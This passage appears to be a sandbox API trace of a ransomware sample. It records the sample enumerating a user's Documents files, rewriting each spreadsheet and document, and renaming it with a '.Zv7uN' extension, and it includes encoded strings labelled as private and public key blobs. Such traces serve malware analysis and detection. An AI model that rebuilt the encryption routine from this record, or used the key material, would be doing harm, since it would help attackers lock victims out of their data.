lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.264] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x147ed [0088.264] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.265] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x147ed, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x147ed, lpOverlapped=0x0) returned 1 [0088.267] CloseHandle (hObject=0x124) returned 1 [0088.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\J9WQ72qd-NL9SUaxFK.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j9wq72qd-nl9suaxfk.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.292] WriteFile (in: hFile=0x124, lpBuffer=0x1f06040*, nNumberOfBytesToWrite=0x147ed, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f06040*, lpNumberOfBytesWritten=0x18f978*=0x147ed, lpOverlapped=0x0) returned 1 [0088.297] CloseHandle (hObject=0x124) returned 1 [0088.299] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\J9WQ72qd-NL9SUaxFK.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j9wq72qd-nl9suaxfk.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\J9WQ72qd-NL9SUaxFK.xlsx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j9wq72qd-nl9suaxfk.xlsx.zv7un")) returned 1 [0088.301] GetCurrentThreadId () returned 0xa30 [0088.301] GetCurrentThreadId () returned 0xa30 [0088.301] GetCurrentThreadId () returned 0xa30 [0088.301] GetCurrentThreadId () returned 0xa30 [0088.301] GetCurrentThreadId () returned 0xa30 [0088.301] GetCurrentThreadId () returned 0xa30 [0088.301] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcc38190, ftCreationTime.dwHighDateTime=0x1d5acef, ftLastAccessTime.dwLowDateTime=0x6720a250, ftLastAccessTime.dwHighDateTime=0x1d5a4dc, ftLastWriteTime.dwLowDateTime=0x6720a250, ftLastWriteTime.dwHighDateTime=0x1d5a4dc, nFileSizeHigh=0x0, nFileSizeLow=0x179e1, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="kaymVO_E ijSZ80WGb.docx", cAlternateFileName="KAYMVO~1.DOC")) returned 1 [0088.301] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.301] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.301] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kaymVO_E ijSZ80WGb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kaymvo_e ijsz80wgb.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcc38190, ftCreationTime.dwHighDateTime=0x1d5acef, ftLastAccessTime.dwLowDateTime=0x6720a250, ftLastAccessTime.dwHighDateTime=0x1d5a4dc, ftLastWriteTime.dwLowDateTime=0x6720a250, ftLastWriteTime.dwHighDateTime=0x1d5a4dc, nFileSizeHigh=0x0, nFileSizeLow=0x179e1)) returned 1 [0088.301] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kaymVO_E ijSZ80WGb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kaymvo_e ijsz80wgb.docx")) returned 0x20 [0088.302] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kaymVO_E ijSZ80WGb.docx", dwFileAttributes=0x80) returned 1 [0088.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.305] GetCurrentThreadId () returned 0xa30 [0088.305] GetCurrentThreadId () returned 0xa30 [0088.305] GetCurrentThreadId () returned 0xa30 [0088.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.306] GetCurrentThreadId () returned 0xa30 [0088.306] GetCurrentThreadId () returned 0xa30 [0088.306] GetCurrentThreadId () returned 0xa30 [0088.306] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kaymVO_E ijSZ80WGb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kaymvo_e ijsz80wgb.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.306] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.306] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.306] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x179e1 [0088.307] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.307] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x179e1, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x179e1, lpOverlapped=0x0) returned 1 [0088.309] CloseHandle (hObject=0x124) returned 1 [0088.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kaymVO_E ijSZ80WGb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kaymvo_e ijsz80wgb.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.314] WriteFile (in: hFile=0x124, lpBuffer=0x1f08040*, nNumberOfBytesToWrite=0x179e1, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f08040*, lpNumberOfBytesWritten=0x18f978*=0x179e1, lpOverlapped=0x0) returned 1 [0088.319] CloseHandle (hObject=0x124) returned 1 [0088.322] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kaymVO_E ijSZ80WGb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kaymvo_e ijsz80wgb.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kaymVO_E ijSZ80WGb.docx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kaymvo_e ijsz80wgb.docx.zv7un")) returned 1 [0088.323] GetCurrentThreadId () returned 0xa30 [0088.323] GetCurrentThreadId () returned 0xa30 [0088.323] GetCurrentThreadId () returned 0xa30 [0088.323] GetCurrentThreadId () returned 0xa30 [0088.323] GetCurrentThreadId () returned 0xa30 [0088.323] GetCurrentThreadId () returned 0xa30 [0088.323] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0088.323] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0088.323] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0088.323] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, 